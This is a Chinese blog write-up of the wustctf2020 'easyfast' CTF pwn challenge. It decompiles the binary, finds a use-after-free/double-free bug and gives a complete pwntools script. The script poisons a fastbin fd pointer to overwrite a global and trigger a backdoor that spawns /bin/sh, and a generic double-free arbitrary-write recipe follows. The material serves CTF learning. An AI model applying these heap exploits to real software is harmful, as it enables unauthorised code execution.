wustctf 2020 easyfast 做题笔记

前言

一道fastbin attack (fastbin double free/ 其实BUU这题是UAF) 的题目
BUU有环境

分析过程

在这里插入图片描述
分析之后重命名各个函数

void sub_400ACD()
{
  char s[8]; // [rsp+0h] [rbp-20h] BYREF
  __int64 v1; // [rsp+8h] [rbp-18h]
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  *(_QWORD *)s = 0LL;
  v1 = 0LL;
  while ( 1 )
  {
    puts("choice>");
    fgets(s, 8, stdin);
    switch ( atoi(s) )
    {
      case 1:
        add(s, 8LL);
        break;
      case 2:
        del(s, 8LL);
        break;
      case 3:
        edit(s, 8LL);
        break;
      case 4:
        backdoor(s, 8LL);
        break;
      case 5:
        exit(0);
      default:
        puts("invalid");
        break;
    }
  }
}

释放功能函数里有个double free漏洞, 没有检查是否已经释放, 所以可以多次释放

unsigned __int64 sub_4009D7()
{
  __int64 v1; // [rsp+8h] [rbp-28h]
  char s[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("index>");
  fgets(s, 8, stdin);
  v1 = atoi(s);
  free(*(&buf + v1));
  return __readfsqword(0x28u) ^ v3;
}

分析backdoor的逻辑

int sub_400896()
{
  int result; // eax

  if ( qword_602090 )
    result = puts("Not yet");
  else
    result = system("/bin/sh");
  return result;
}

只要0x602090地址处的值为0就能绕过检测get shell

漏洞利用

思路不复杂, 利用double free, 修改fast chunk的fd指针实现任意地址写, 把0x602090地址处改为0即可

调试查看伪造chunk的适应大小, 所以申请0x40, 得到0x50的chunk
在这里插入图片描述

在这里插入图片描述
不过调试时发现, 不能申请超过4个chunk, …, 不然提示"no need"
按照星盟的教学视频思路是打不通的BUU的, 所以需要更换思路
然后发现其实有更简洁的方法, 既然没有检查是否释放chunk, 那么存在UAF漏洞, 释放后直接利用就行了, 不需要double free构建循环链表

from pwn import *

url, port = "node4.buuoj.cn", 27740
filename = "./wustctf2020_easyfast"
elf = ELF(filename)
libc = ELF("/glibc/2.23/64/lib/libc-2.23.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

debug = 0
if debug:
    context.log_level="debug"
    io = process(filename)
    context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def dbg():
    gdb.attach(io)
    pause()

def Add(size):
	io.sendlineafter("choice>\n", "1")
	io.sendlineafter("size>\n", str(size))

def Free(idx):
	io.sendlineafter("choice>\n", "2")
	io.sendlineafter("index>\n", str(idx))

def Edit(idx, content):
	io.sendlineafter("choice>\n", "3")
	io.sendlineafter("index>\n", str(idx))
	io.send(content)

def Backdoor():
	io.sendlineafter("choice>\n", "4")

def pwn():
	target_addr = 0x602090 - 0x10
	Add(0x40)
	Free(0)

	Edit(0, p64(target_addr))
	# dbg()

	Add(0x40)
	Add(0x40)
	# dbg()
	Edit(2, p64(0))

	Backdoor()
	io.interactive()

if __name__ == "__main__":
	pwn()

在这里插入图片描述

总结

第一次没看具体WP亲自做出来堆漏洞题目, 而且思路是当场想的, 激动~
只能说大概掌握漏洞调试技术以后, 利用手法都是可以具体问题具体分析, 通过调试摸索出来了, 以后再也不怕脚本打不通了

没啥好总结的, 就说说double free漏洞的套路

add(0x20) # chunk0
add(0x20) # chunk1
free(0) # free chunk0
free(1) # free chunk1
free(0) # free chunk0

如上执行可以构造循环链表0→1→0, 再执行

add(0x20) # 分配出 chunk0
add(0x20) # 分配出 chunk1
edit(2, target_addr) # edit chunk0 fd指针
add(0x20) # 分配出 chunk0
add(0x20) # 申请到 target_addr 处的 chunk

就能劫持chunk到target_addr, 如果提供了edit功能, 就能得到任意地址写的能力

卡点

(1) pwndocker的pwntools是4.5.0版本, 对tmux支持有问题, 所以第一次调试出现问题

请添加图片描述
升级pwntools到4.6.0即可

pwn update
pip install -U pwntools

参考

https://www.bilibili.com/video/BV1Uv411j7fr?p=22

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值